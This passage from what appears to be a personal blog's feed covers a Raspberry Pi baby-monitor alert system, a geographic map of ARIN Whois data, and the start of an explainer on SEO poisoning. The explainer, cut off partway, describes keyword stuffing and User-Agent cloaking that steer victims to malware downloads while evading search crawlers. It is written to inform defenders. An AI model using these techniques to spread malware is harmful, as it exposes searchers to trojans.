  fifo.read(\u003cspan class=\"hljs-number\">44\u003c/span>)\n    \n    CHUNK_SIZE = \u003cspan class=\"hljs-built_in\">int\u003c/span>(\u003cspan class=\"hljs-number\">44100\u003c/span> / measure_rate)\n    \n    \u003cspan class=\"hljs-keyword\">while\u003c/span> \u003cspan class=\"hljs-literal\">True\u003c/span>:\n        in_bytes = fifo.read(CHUNK_SIZE * \u003cspan class=\"hljs-number\">2\u003c/span>)\n        audio_chunk = np.frombuffer(in_bytes, np.int16)\n        check_audio_levels(audio_chunk)\n\u003c/code>\u003c/pre>\n\u003cp>To calculate the average volume level over a period, the audio chunks are averaged and normalized into an amount that could be easily interpreted. To determine the “average” value of a set of numbers that oscillate around zero, you can calculate the root mean square (RMS). In this context, the RMS is more useful than the mean of the absolute values since the power of a sound wave is proportional to the square of its amplitude, and squaring the values makes the calculation more sensitive to larger values, lending weight to spikes. The following script computes and stores the RMS values of the audio chunks calculated in the previous script, and then triggers an alert if the average volume level exceeds 300 over 10 seconds.\u003c/p>\n\u003cpre>\u003ccode class=\"language-python\">\u003cspan class=\"hljs-keyword\">import\u003c/span> np\n\u003cspan class=\"hljs-keyword\">from\u003c/span> collections \u003cspan class=\"hljs-keyword\">import\u003c/span> deque\n\nwindow_size = \u003cspan class=\"hljs-number\">10\u003c/span> \u003cspan class=\"hljs-comment\"># seconds\u003c/span>\nmeasure_rate = \u003cspan class=\"hljs-number\">2\u003c/span> \u003cspan class=\"hljs-comment\"># hz\u003c/span>\naudio_levels = deque(maxlen=window_size * measure_rate) \u003cspan class=\"hljs-comment\"># 20 values\u003c/span>\n\u003cspan class=\"hljs-keyword\">while\u003c/span> \u003cspan class=\"hljs-literal\">True\u003c/span>:\n    audio_chunk = get_audio_chunk()\n    normalized_array = audio_chunk.astype(\u003cspan class=\"hljs-built_in\">float\u003c/span>) / \u003cspan class=\"hljs-number\">32768.0\u003c/span>\n    rms = np.sqrt(np.mean(np.square(normalized_array))) * \u003cspan class=\"hljs-number\">1000\u003c/span>\n    audio_levels.append(rms)\n    \u003cspan class=\"hljs-keyword\">if\u003c/span> \u003cspan class=\"hljs-built_in\">len\u003c/span>(audio_levels) == audio_levels.maxlen:\n        window_avg = \u003cspan class=\"hljs-built_in\">sum\u003c/span>(audio_levels) / \u003cspan class=\"hljs-built_in\">len\u003c/span>(audio_levels)\n        \u003cspan class=\"hljs-keyword\">if\u003c/span> window_avg &gt; \u003cspan class=\"hljs-number\">300\u003c/span>:\n            sound_the_alarm()\n\u003c/code>\u003c/pre>\n\u003cp>The PCM values are 16-bit signed integers which range from -32768 to +32767 since \u003ccode>pcm_s16le\u003c/code> was specified in the FFmpeg arguments. Dividing the values by 32768 scales them to be between -1 and 1. The RMS of the array is then multiplied by 1000 to convert it into a value that is easier to become familiar with. For our camera setup, the volume levels max out at around 400 when Baby is crying. Since the values were multiplied by 1000, this can be interpreted as about four-tenths of the maximum volume the microphone can measure. More importantly, 400 is an easy number to remember, as opposed to something like 0.16 or 13000, demonstrating the benefit of normalization.\u003c/p>\n\u003cp>The RMS values are stored in a dequeuing array, which removes the first value when a value is appended, so the array never exceeds its max length. The size of the array is equal to the measured rate (per second) multiplied by the measuring window (seconds) to ensure the array contains every measurement taken during the window. When the average of the array exceeds 300, the call is made.\u003c/p>\n\u003ch2 id=\"creating-the-configuration-panel\">Creating the configuration panel\u003c/h2>\n\u003cp>The settings website to manage the delay alert monitor could be created once the alert system logic was finished. Front-end development almost always leads back-end development, since the UI declares what the application can and cannot do. The backend web framework I used was ole reliable Flask, which was easily interoperable with the alert system logic written in Python. Flask is one of the most popular web frameworks for making simple websites since it’s so darn easy to learn. As I began adding features to the website, I implemented their logic in Flask. This iterative development process made things easy to test and debug and is much faster than building out the full page before starting on the backend.\u003c/p>\n\u003cp>I feel obligated to mention how much of this project was assisted by generative AI, specifically Claude and ChatGPT. Unfortunately, this was not a project that could be written entirely by AI (that would have saved me several hours). However, AI saved countless hours I would have spent trying to configure minutia like reading FFmpeg output data or creating a mobile-friendly website. Generative AI has made small projects like these (and learning pretty much anything) so much more approachable, and I could spend more time focusing on what I wanted the final product to look like than trying to center a div.\u003c/p>\n\u003cp>Here is a screenshot of the final version (for now) of the configuration panel:\u003c/p>\n\u003cfigure style=\"--figure-width:754px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/baby-monitor/image-05-720w.webp 720w, https://benkofman.com/baby-monitor/image-05-754w.webp 754w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/baby-monitor/image-05.png\" alt=\"It ain’t much, but it’s honest work\" width=\"754\" height=\"824\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003cfigcaption>It ain’t much, but it’s honest work\u003c/figcaption>\u003c/figure>\n\n\u003cp>The final features are as follows:\u003c/p>\n\u003cul>\n\u003cli>Two profiles, night and morning, with different thresholds, window sizes, and cooldowns\u003c/li>\n\u003cli>Alerting only takes place if the current time is in one of those phases\u003c/li>\n\u003cli>The monitor can be enabled or disabled, pausing alerting\u003c/li>\n\u003cli>Test button to activate alerting even if not in the morning or night phase\u003c/li>\n\u003cli>Current 5-second average volume updated every half second to show somewhat real-time noise levels\u003c/li>\n\u003c/ul>\n\u003cp>The phase start/end times and phone number that is called should ideally be adjustable from the UI (they can be changed in the configuration file) — I’ll get around to that eventually. In the screenshot, the current 5-second average is 0.2441, the value displayed when the microphone measures silence. This checks out with the PCM arrays of eights in between the noises from the FFmpeg script output. The RMS of a set of eights is eight, the RMS is multiplied by 1000 and divided by 32768 when normalized, so 8*1000/32768 equals 0.2441.\u003c/p>\n\u003ch2 id=\"testing-in-production\">Testing in production\u003c/h2>\n\u003cp>After finishing the audio measurements and displaying the 5-second average on the site, I would occasionally check the volume level when Baby activity was occurring by the camera to get an idea of what to set as a reasonable threshold. Although I determined that 300/400 was about what the volume got up to when she was crying, that isn’t what the threshold should be set to if the window size is at least a few minutes long. The longer the window size, the more variance in the volume levels in the array. If the threshold is set to 300 for a 300-second window, that would require her to be screaming literally non-stop for 5 minutes straight, which thank God is not how babies cry.\u003c/p>\n\u003cp>Once the initial version of the monitor was complete, we slept a few nights using the alert system in conjunction with the old monitor just in case the threshold was set too high. After a few days of testing, we settled on a threshold of around 75 for nighttime and morning, with different window sizes. Since our daughter sleeps through the night now, we try to give her enough time to fall back to sleep on her own if she wakes up. We determined that a volume threshold of 75 for a five-minute window size will alert us if she has been crying at a normal level for about five minutes and probably isn’t going back to sleep without a soothing. Our morning phase window size is set to one minute since morning time is go-time for Baby and she won’t be going back to sleep any time soon.\u003c/p>\n\u003ch2 id=\"conclusion\">Conclusion\u003c/h2>\n\u003cp>The source code repository can be found \u003ca href=\"https://github.com/swgee/DelayAlertMonitor\">\u003cstrong>here\u003c/strong>\u003c/a> and has simple setup instructions to get up and running with the delay alert monitor. So far it’s worked out pretty well for us, and we don’t worry about random wakeups at night from our old monitor being triggered briefly. If you use this tool and have suggestions or find it useful, please let me know. I fully expect us to be the only ones to ever use this but if it helps someone else too that would be really cool. Anyway, I hope you enjoyed this write-up, thanks for reading!\u003c/p>\n","summary":"Using a Raspberry Pi, Python, and FFmpeg","image":"https://benkofman.com/baby-monitor/cover.jpeg","date_published":"2024-12-13T12:00:00Z"},{"id":"https://benkofman.com/whoismap.html","url":"https://benkofman.com/whoismap.html","title":"Mapping the Geography of the Internet","content_html":"\u003ch3 id=\"https-whoismap-benkofman-com\">\u003ca href=\"https://whoismap.benkofman.com/\">https://whoismap.benkofman.com\u003c/a>\u003c/h3>\n\u003ch2 id=\"background\">Background\u003c/h2>\n\u003cp>When performing OSINT investigations, the Whois service is an invaluable tool in discovering who “owns” a particular IPv4, IPv6, or domain.\u003c/p>\n\u003cp>For domain lookups, the Whois database tells you the registrar, registration date, and registrant contact information (often times proxied by privacy services and redacted).\u003c/p>\n\u003cp>IP address lookups will tell you the parent network, the net range organization contact information (if available), and the ISP. The organization contact information often contains an address along with state, province, and country. This information is often what is used by IP geolocation lookup tools such as \u003ca href=\"https://ipgeolocation.io/\">\u003cstrong>ipgeolocation.io\u003c/strong>\u003c/a>.\u003c/p>\n\u003cp>I had the idea to create a geographic visualization of IP address space.\u003c/p>\n\u003cp>I thought it would be an interesting project to obtain the Whois database, and using the organization address information, attempt to create a somewhat realistic visualization of IP address networks relative to a world map. This might show some interesting takeaways, such as the distribution of IP space in urban vs. rural areas, and the largest companies in a localized area in terms of their dedicated IP space.\u003c/p>\n\u003cp>There are numerous “maps” of the internet available online but they have a different focus than what I intended to create. Some of the ones I found while researching include the following:\u003c/p>\n\u003cul>\n\u003cli>\u003ca href=\"https://broadbandnow.com/national-broadband-map\">\u003cstrong>Map of Broadband Internet Providers in the United States\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://internet-map.net/\">\u003cstrong>Visualization of the most visited sites on the internet\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://www.halcyonmaps.com/map-of-the-internet-2021\">\u003cstrong>An artistic geographic representation of the most popular sites\u003c/strong>\u003c/a>\u003c/li>\n\u003cli>\u003ca href=\"https://he.net/3d-map/\">\u003cstrong>Hurricane Electric Internet Backbone Map\u003c/strong>\u003c/a>\u003c/li>\n\u003c/ul>\n\u003ch2 id=\"design-considerations\">Design considerations\u003c/h2>\n\u003cp>The map would contain circles that scale relative to the size of the netrange the corresponding organization maintains.\u003c/p>\n\u003cp>From performing Whois lookups in the past, I knew ahead of time that there would be certain considerations that would need to be addressed. Those include:\u003c/p>\n\u003col>\n\u003cli>The Whois database is not 100% accurate or up-to-date. This map would represent a point-in-time or cumulative visualization of IP-space, but it cannot be updated in real-time.\u003c/li>\n\u003cli>The size of the network circles may not be directly related to the total number of addresses. I will need to scale them in such a way that large networks such as an IPv4 /12 (1,048,544 addresses) do not cover too large of a geographic area, making it difficult to see where it’s actually located, even though that network contains exponentially more addresses than say, a /24 network (256 addresses).\u003c/li>\n\u003cli>Not all physical addresses for the corresponding IP ranges are accurate. For example:\u003c/li>\n\u003c/ol>\n\u003cul>\n\u003cli>ISP residential customers often have an address field containing “Private Address” or “Private Residence”. These cannot be mapped.\u003c/li>\n\u003cli>ISP customer networks are often routed using NAT, and their external IP addresses can be a single entry point for a large geographic area. This is why if you plug your own home IP into a geolocation service, it will probably tell you it is located in a general radius within the nearest city.\u003c/li>\n\u003cli>Cloud services make up a large percentage of the external IP space. Depending on the cloud provider, the Whois entry for that network may contain the organization and address of the dedicated customer renting that IP space, as opposed to the address of the datacenter itself. For this reason, not all Cloud networks will have accurate addresses.\u003c/li>\n\u003c/ul>\n\u003ch2 id=\"getting-access-to-the-raw-whois-data\">Getting access to the raw Whois data\u003c/h2>\n\u003cp>Whois services pull data from the 5 Regional Internet Registries (RIR) — ARIN, AFRINIC, APNIC, LACNIC, and RIPE NCC.\u003c/p>\n\u003cp>The RIRs each manage the allocation of internet number resources within a specific region, and are themselves allocated ranges of IP addresses from the Internet Assigned Number Authority (IANA).\u003c/p>\n\u003cp>I browsed all 5 of these RIRs sites to find how I can obtain access to their bulk Whois data. Each registry provides the data of their network ranges free to download from their public FTP servers, but in order to obtain registration data, which contains the physical addresses of each organization, each RIR has its own process for requesting access to their bulk databases.\u003c/p>\n\u003cp>Most of the RIRs have a simple process of either submitting an online ticket or emailing them a form explaining why you need the data, how you intend to use it, and an acknowledgement of their acceptable use policy, which primarily limits the distribution of the raw data.\u003c/p>\n\u003cp>The process for LACNIC, which manages Latin America, requires \u003ca href=\"https://www.lacnic.net/2472/2/lacnic/accessing-bulk-whois\">\u003cstrong>mailing a physical form to an address in Uruguay\u003c/strong>\u003c/a>.\u003c/p>\n\u003cp>For now, I have only retrieved the data from ARIN, the American Registry for Internet Numbers, which manages allocation of IPs for North American countries. The process was fairly straightforward and is detailed \u003ca href=\"https://www.arin.net/reference/research/bulkwhois/\">\u003cstrong>here\u003c/strong>\u003c/a>.\u003c/p>\n\u003cp>I explained exactly my intentions to create a geographic map of networks, and the request was fulfilled by an ARIN representative within a few days.\u003c/p>\n\u003ch2 id=\"parsing-the-data\">Parsing the data\u003c/h2>\n\u003cp>The XML Whois database is fairly straightfoward in how it is organized. The ARIN website states which fields are foreign keys in another type of element.\u003c/p>\n\u003cp>The raw XML file itself is around 5.7 GB and is composed of:\u003c/p>\n\u003cul>\n\u003cli>asn: Autonomous Systems (~38,000)\u003c/li>\n\u003cli>net: Networks (~3.4 mil)\u003c/li>\n\u003cli>org: Organizations (~3.3 mil)\u003c/li>\n\u003cli>poc: Point-of-contact information for AS or Orgs (~482,000)\u003c/li>\n\u003c/ul>\n\u003cp>The network elements contain subelements called “Netblocks”.\u003c/p>\n\u003cp>The element associations are summarized as follows:\u003c/p>\n\u003cul>\n\u003cli>asn to its org: asn(orgHandle) = org(handle)\u003c/li>\n\u003cli>org to its net: org(handle) = net(orgHandle)\u003c/li>\n\u003cli>netblock to net: netblock(netHandle) = net(handle)\u003c/li>\n\u003c/ul>\n\u003cp>\u003ca href=\"https://github.com/swgee/WhoisMap/blob/main/XML/parse_xml.py\">\u003cstrong>Python script to parse Bulk Whois\u003c/strong>\u003c/a>\u003c/p>\n\u003cp>Because the amount of data was so vast, I used MySQL to store the data which has a much faster write rate than the more convenient but less robust SQLite.\u003c/p>\n\u003cp>The Python script I wrote first creates tables for asn, net, org, and netblock elements. In hindsight, I should have spent more time minimizing the data type size of each element instead of using VARCHAR(255) for every string. This likely would have sped up the countless queries I had yet to run…\u003c/p>\n\u003cp>I used the ElementTree XML API library to parse the XML elements and then insert them into the database. Initially, I had the script inserting one element at a time. This was incredibly slow and would have taken several hours.\u003c/p>\n\u003cp>Instead, I took advantage of the mysql.connector function \u003ccode>cursor.executemany\u003c/code>, which performs bulk inserts. I saved the element values for each table type in a list of tuples, and when that list reaches 3000 tuples, execute the bulk insert (and empty the list). This reduced the parse script run time to around 20 minutes.\u003c/p>\n\u003ch2 id=\"retrieving-coordinates\">Retrieving coordinates\u003c/h2>\n\u003cp>The most uncertain part of this project was figuring out how to retrieve coordinates from the raw addresses I obtained from the Bulk Whois data (otherwise known as “Geocoding”) without shelling out more than the price of a cup of coffee which is all I was willing to spend.\u003c/p>\n\u003cp>Before starting this project I assumed I would use the Google Maps API Platform to do this and it would be somewhat straightforward. But, when I checked the \u003ca href=\"https://developers.google.com/maps/documentation/geocoding/usage-and-billing\">\u003cstrong>pricing\u003c/strong>\u003c/a>, I realized this would not be so simple.\u003c/p>\n\u003cp>I hadn’t filtered down the networks to map yet, because I wanted to retrieve as much data as I could before figuring out what should be placed on the map. The Geocoding API charges $0.005 for the first 100,000 requests and 0.004 for the next 400,000 (and requires custom pricing over 500,000). Since there are 2.95 million organizations with an address, the total for using the Geocoding API would have came out, at a minimum, to:\u003c/p>\n\u003cpre>\u003ccode class=\"language-bash\">0.005 * 100,000 + 0.004 * 2,850,000 = \u003cspan class=\"hljs-variable\">$11\u003c/span>,860\n\u003c/code>\u003c/pre>\n\u003cp>Yeah… no thanks. I checked out a bunch of other Geocoding APIs such as well and they ended up having similar pricing models — which are reasonable for individual lookups but unrealistic for a one-time mega batch like my use-case.\u003c/p>\n\u003cp>Eventually, I stumbled on a page from Texas A&amp;M University’s Geoservices department. They provide their own Geocoding service among other resources, but also maintain a \u003ca href=\"https://geoservices.tamu.edu/Services/Geocode/OtherGeocoders/\">\u003cstrong>page\u003c/strong>\u003c/a> that list other Geocoding services along with their prices and rate limits. When I first checked this page, it listed the \u003ca href=\"https://geocoding.geo.census.gov/geocoder/\">\u003cstrong>U.S. Census Geocoding service\u003c/strong>\u003c/a>.\u003c/p>\n\u003cp>This Census site allows for a batch CSV file of 10,000 addresses. I tested it out and lo and behold, after waiting a few minutes for an HTTP response, it returned a file with coordinates for a large majority of the addresses I submitted. There is even a free API that does not require a token, with instructions \u003ca href=\"https://geocoding.geo.census.gov/geocoder/Geocoding_Services_API.pdf\">\u003cstrong>here\u003c/strong>\u003c/a>.\u003c/p>\n\u003cp>There was no mention of rate limits for the API, so I gave it a shot. I pulled all the addresses and created 295 CSV files to be used for inputs, limiting each CSV to the 10,000 address limit.\u003c/p>\n\u003cp>\u003ca href=\"https://github.com/swgee/WhoisMap/blob/main/Geocoding/create_census_inputs.py\">\u003cstrong>Create inputs script\u003c/strong>\u003c/a>\u003c/p>\n\u003cp>I ran a Bash for-loop uploading all of these CSV files to the Census Geocoding service.\u003c/p>\n\u003cpre>\u003ccode class=\"language-bash\">\u003cspan class=\"hljs-keyword\">for\u003c/span> i \u003cspan class=\"hljs-keyword\">in\u003c/span> {1..295};\n\u003cspan class=\"hljs-keyword\">do\u003c/span>\n\tcurl https://geocoding.geo.census.gov/geocoder/locations/addressbatch \\\n          --output output/output_file\u003cspan class=\"hljs-variable\">$i\u003c/span>.csv \\\n          --form addressFile=@input/input_file\u003cspan class=\"hljs-variable\">$i\u003c/span>.0.csv \\\n          --form benchmark=2020 \n\t\u003cspan class=\"hljs-built_in\">echo\u003c/span> Output file \u003cspan class=\"hljs-variable\">$i\u003c/span> retrieved\n\u003cspan class=\"hljs-keyword\">done\u003c/span>\n\u003c/code>\u003c/pre>\n\u003cp>The script took several hours to run since each batch took several minutes for the API to process. I did not want to run multiple requests concurrently out of fear of getting rate-limited. When it finished, I checked the output and was pleased to see coordinates returned for around 70% of addresses I submitted.\u003c/p>\n\u003ch2 id=\"filtering-the-data\">Filtering the data\u003c/h2>\n\u003cp>Before writing the front-end code, I needed to determine which networks and their corresponding organization would actually be mapped. I’ll summarize here, but the process took a lot longer than I expected.\u003c/p>\n\u003cp>What a wanted to do was find every network whose corresponding org’s coordinates are actually where that network infrastructure is located. I ran many queries on the data, cross-referencing the organization addresses and network IPs with actual geolocation lookups, trying to see if I could find any pattern. In the end, I decided that I would need to end up leaving out a large percentage of the networks in the Bulk Whois data.\u003c/p>\n\u003cp>Some organizations possess a “parentOrgHandle” field in the raw XML data. These organizations are either ISP customer networks or cloud service provider customer networks. The addresses for these organizations did not always correspond to the actual location of the network. For many Cloud networks, the corresponding org address would be that org’s headquarters, even though the Cloud network is actually located in a data center somewhere completely different. Inversely, many of the ISP customer networks were not actually located at the customer’s address, but at the ISP’s office location. I had initially mapped this situation but the number of overlapping circles in one spot often crashed the browser tab (a couple of these somehow still made it onto the final graph).\u003c/p>\n\u003cp>After I decided on the networks I wanted to map, I created a \u003ca href=\"https://github.com/swgee/WhoisMap/blob/main/Geocoding/map_jsonv2.py\">\u003cstrong>python script\u003c/strong>\u003c/a> to generate a JSON file that contains all the mapping data. The final SQL query to pull the data is as follows:\u003c/p>\n\u003cpre>\u003ccode class=\"language-sql\">\u003cspan class=\"hljs-keyword\">SELECT\u003c/span> \n    net.version,\n    org.name,\n    netblock.startAddress,\n    netblock.endAddress,\n    netblock.cidrLength,\n    locations.coordinates\n\u003cspan class=\"hljs-keyword\">from\u003c/span> net\n\u003cspan class=\"hljs-keyword\">INNER\u003c/span> \u003cspan class=\"hljs-keyword\">JOIN\u003c/span> netblock \u003cspan class=\"hljs-keyword\">ON\u003c/span> net.handle \u003cspan class=\"hljs-operator\">=\u003c/span> netblock.netHandle\n\u003cspan class=\"hljs-keyword\">INNER\u003c/span> \u003cspan class=\"hljs-keyword\">JOIN\u003c/span> locations \u003cspan class=\"hljs-keyword\">ON\u003c/span> net.orgHandle \u003cspan class=\"hljs-operator\">=\u003c/span> locations.orgHandle\n\u003cspan class=\"hljs-keyword\">INNER\u003c/span> \u003cspan class=\"hljs-keyword\">JOIN\u003c/span> org \u003cspan class=\"hljs-keyword\">ON\u003c/span> net.orgHandle \u003cspan class=\"hljs-operator\">=\u003c/span> org.handle\n\u003cspan class=\"hljs-keyword\">where\u003c/span> net.orgHandle\n\u003cspan class=\"hljs-keyword\">not\u003c/span> \u003cspan class=\"hljs-keyword\">in\u003c/span> \u003cspan class=\"hljs-comment\">-- Not an ISP/CSP\u003c/span>\n(\n    \u003cspan class=\"hljs-keyword\">SELECT\u003c/span> \n        parentOrgHandle\n    \u003cspan class=\"hljs-keyword\">from\u003c/span> org\n)\n\u003cspan class=\"hljs-keyword\">and\u003c/span> org.parentOrgHandle \u003cspan class=\"hljs-operator\">=\u003c/span> &quot;&quot; \u003cspan class=\"hljs-comment\">-- Not an ISP/CSP customer organization\u003c/span>\n\u003cspan class=\"hljs-keyword\">and\u003c/span> locations.coordinates \u003cspan class=\"hljs-operator\">!=\u003c/span> &quot;&quot;\n\u003cspan class=\"hljs-keyword\">and\u003c/span> org.handle \u003cspan class=\"hljs-operator\">!=\u003c/span> &quot;IANA&quot;\n\u003cspan class=\"hljs-keyword\">and\u003c/span> coordinates\n\u003c/code>\u003c/pre>\n\u003cp>While the networks that made it onto the map obviously represent a small portion of the total IP space without any cloud or ISP networks, they are, for the most part, in their actual geolocation.\u003c/p>\n\u003ch2 id=\"mapping-the-data\">Mapping the data\u003c/h2>\n\u003cp>The JavaScript mapping library I used is \u003ca href=\"https://leafletjs.com/\">\u003cstrong>Leaflet\u003c/strong>\u003c/a>, a super popular library with over \u003ca href=\"https://github.com/Leaflet/Leaflet\">\u003cstrong>40k stars on GitHub\u003c/strong>\u003c/a>.\u003c/p>\n\u003cp>\u003ca href=\"https://github.com/swgee/WhoisMap/blob/main/Web/static/map.js\">\u003cstrong>JavaScript file for mapping the data\u003c/strong>\u003c/a>\u003c/p>\n\u003cp>This library is very easy to use. Each network in the JSON file would be represented as a Leaflet Circle with a radius that scales exponentially depending on the CIDR length.\u003c/p>\n\u003cp>I used \u003ca href=\"https://www.desmos.com/calculator\">\u003cstrong>Desmos\u003c/strong>\u003c/a> to create two separate exponential functions for IPv4 and IPv6 by specifying the upper and lower bounds of the radius I wanted rendered on the map. In hindsight, I can probably make the radii a bit larger because many of the large networks (like /16 IPv4 and up) don’t look that much bigger than the smaller networks.\u003c/p>\n\u003cp>My initial idea was to create an API to retrieve the organization data (name, address range) when a user clicks on a circle, but instead I decided to just download the entire JSON file into the browser. I did this using the IndexedDB API, which allows for client-side structured storage of large amounts of data.\u003c/p>\n\u003cp>After rendering every circle on the map, the browser tab slows down signficantly and becomes partially unresponsive. To mitigate this issue, I implemented the Leaflet plugin \u003ca href=\"https://github.com/Leaflet/Leaflet.markercluster\">\u003cstrong>MarkerCluster\u003c/strong>\u003c/a>, which produces the clusters of markers you see when the map is zoomed out. After zooming in to a smaller area, the cluster disappears and all the circles/networks in the area appear.\u003c/p>\n\u003ch2 id=\"deploying-to-production\">Deploying to production\u003c/h2>\n\u003cp>Since the final app is all front-end code (JavaScript, HTML, CSS), this made deployment incredibly easy. I was adding the JSON file to an AWS S3 bucket when I noticed S3 buckets can be configured as static websites.\u003c/p>\n\u003cp>I just followed the \u003ca href=\"https://docs.aws.amazon.com/AmazonS3/latest/userguide/WebsiteHosting.html\">\u003cstrong>docs\u003c/strong>\u003c/a> for hosting a static website on Amazon S3. All I really needed to do was upload all the files, verify ownership of my domain on my DNS provider (Cloudflare), add a CNAME record for the “whoismap” subdomain, and I was good to go. The setup page handled generating certificates to enable HTTPS, as well as a few other minor configurations.\u003c/p>\n\u003ch2 id=\"conclusion\">Conclusion\u003c/h2>\n\u003cp>This was an interesting project and at the very least I learned some things while doing it.\u003c/p>\n\u003cp>If I ever want to map the rest of the world’s IP space, I’ll need to get access to the other RIRs’ Whois databases, and figure out another cheap way to Geocode all those addresses too, since the US census won’t have them.\u003c/p>\n\u003ch2 id=\"screenshots\">Screenshots\u003c/h2>\n\u003ch3 id=\"seattle\">Seattle\u003c/h3>\n\u003cfigure style=\"--figure-width:1137px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/whoismap/image-01-720w.webp 720w, https://benkofman.com/whoismap/image-01-1137w.webp 1137w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/whoismap/image-01.png\" alt=\"Mapping the Geography of the Internet — Seattle\" width=\"1137\" height=\"780\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003c/figure>\n\n\u003ch3 id=\"san-francisco\">San Francisco\u003c/h3>\n\u003cfigure style=\"--figure-width:1042px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/whoismap/image-02-720w.webp 720w, https://benkofman.com/whoismap/image-02-1042w.webp 1042w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/whoismap/image-02.png\" alt=\"Mapping the Geography of the Internet — San Francisco\" width=\"1042\" height=\"818\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003c/figure>\n\n\u003ch3 id=\"washington-d-c\">Washington D.C.\u003c/h3>\n\u003cfigure style=\"--figure-width:1138px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/whoismap/image-03-720w.webp 720w, https://benkofman.com/whoismap/image-03-1138w.webp 1138w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/whoismap/image-03.png\" alt=\"Mapping the Geography of the Internet — Washington D.C.\" width=\"1138\" height=\"795\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003c/figure>\n","summary":"How I mapped logical IP addresses to their geolocation using WHOIS","image":"https://benkofman.com/whoismap/cover.png","date_published":"2023-11-02T12:00:00Z"},{"id":"https://benkofman.com/seo-poisoning.html","url":"https://benkofman.com/seo-poisoning.html","title":"SEO Poisoning: Compromising Organizations with Malicious Search Engine Results","content_html":"\u003ch2 id=\"scenario\">Scenario\u003c/h2>\n\u003cp>Imagine a malicious domain “www.nomalwarehere.com”. On it there is a sketchy looking landing page telling you to download some awesome application. And the application is actually a trojan, for example a cryptominer or a botnet client. While this is a trivial example, adversaries have created more convincing sites such as the forum web page used to spread the \u003ca href=\"https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/\">\u003cstrong>GootLoader\u003c/strong>\u003c/a> malware.\u003c/p>\n\u003ch2 id=\"methods\">Methods\u003c/h2>\n\u003ch3 id=\"link-building\">Link-building\u003c/h3>\n\u003cp>A website is boosted in search engine rankings when more websites link to that site. Link-building is a legitimate SEO technique to increase the number of links to your website from other sources.\u003c/p>\n\u003cp>Threat actors can engage in malicious link-building by:\u003c/p>\n\u003cul>\n\u003cli>Placing the link in compromised sites\u003c/li>\n\u003cli>Spamming the link in forums\u003c/li>\n\u003c/ul>\n\u003cp>This technique is difficult to accomplish at a large enough scale to really boost the site’s rankings. Link-building is much more effective when the site is linked from websites with a high reputation. Higher reputation sites are, in-turn, generally more difficult to compromise.\u003c/p>\n\u003ch3 id=\"keyword-stuffing\">Keyword Stuffing\u003c/h3>\n\u003cp>Another way the adversary can use SEO poisoning to increase traffic to “www.nomalwarehere.com” is using Keyword Stuffing.\u003c/p>\n\u003cp>Hackers often exploit people’s attention on what’s happening in the present moment. In our example, lets pretend it’s April — tax season. A popular search during tax season may be “filed taxes late small business”.\u003c/p>\n\u003cp>The adversary will start by running this search, then extract the text at the beginning of each search result.\u003c/p>\n\u003cfigure style=\"--figure-width:763px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/seo-poisoning/image-01-720w.webp 720w, https://benkofman.com/seo-poisoning/image-01-763w.webp 763w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/seo-poisoning/image-01.png\" alt=\"SEO Poisoning: Compromising Organizations with Malicious Search Engine Results — The adversary will start by running this search, then extract the text at the beginning of each search result.\" width=\"763\" height=\"527\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003c/figure>\n\n\u003cp>They will then generate a bogus HTML page containing the search query and all the extracted keywords.\u003c/p>\n\u003cfigure style=\"--figure-width:952px\">\u003cpicture>\u003csource type=\"image/webp\" srcset=\"https://benkofman.com/seo-poisoning/image-02-720w.webp 720w, https://benkofman.com/seo-poisoning/image-02-952w.webp 952w\" sizes=\"(max-width: 800px) calc(100vw - 40px), 760px\">\u003cimg src=\"https://benkofman.com/seo-poisoning/image-02.png\" alt=\"SEO Poisoning: Compromising Organizations with Malicious Search Engine Results — They will then generate a bogus HTML page containing the search query and all the extracted keywords.\" width=\"952\" height=\"684\" loading=\"lazy\" decoding=\"async\">\u003c/picture>\u003c/figure>\n\n\u003cp>The Google bot will crawl this page when it is placed online and the SEO algorithms will boost it in the results for searches related to filing taxes/small businesses/etc.\u003c/p>\n\u003cp>Now, this page is not the malicious site that lures victims into downloading the malware. It needs to redirect victims to the “www.nomalwarehere.com” site. The problem with placing the keywords on the same page as the malware is that Google may detect that the page is spam and not index it at all.\u003c/p>\n\u003cp>Attackers can implement the redirect two different ways:\u003c/p>\n\u003cp>\u003cstrong>With cloaking:\u003c/strong>\u003c/p>\n\u003cp>In this case, the browser will be sent a redirect response to \u003ca href=\"http://www.nomalwarehere.com\">www.nomalwarehere.com\u003c/a> from the keyword-stuffed page if the client HTTP request has a common browser/real person User-Agent string, for example:\u003c/p>\n\u003cp>\u003ccode>Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36\u003c/code>\u003c/p>\n\u003cp>If the User-Agent string is the GoogleBot or other search engine crawler, no redirect will be sent, avoiding detection.\u003c/p>\n\u003cp>\u003ccode>Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Chrome/118.0.0.0 Safari/537.36\u003c/code>\u003c/p>\n\u003cp>\u003cstrong>Without cloaking:\u003c/strong>\u003c/p>\n\u003cp>In this case, the keyword-stuffed page will attempt to detect if the client is a real browser by checking for mouse movement using JavaScript or detecting browser rendering of the page. Unlike browsers, crawlers do not render websites and run all the front-end 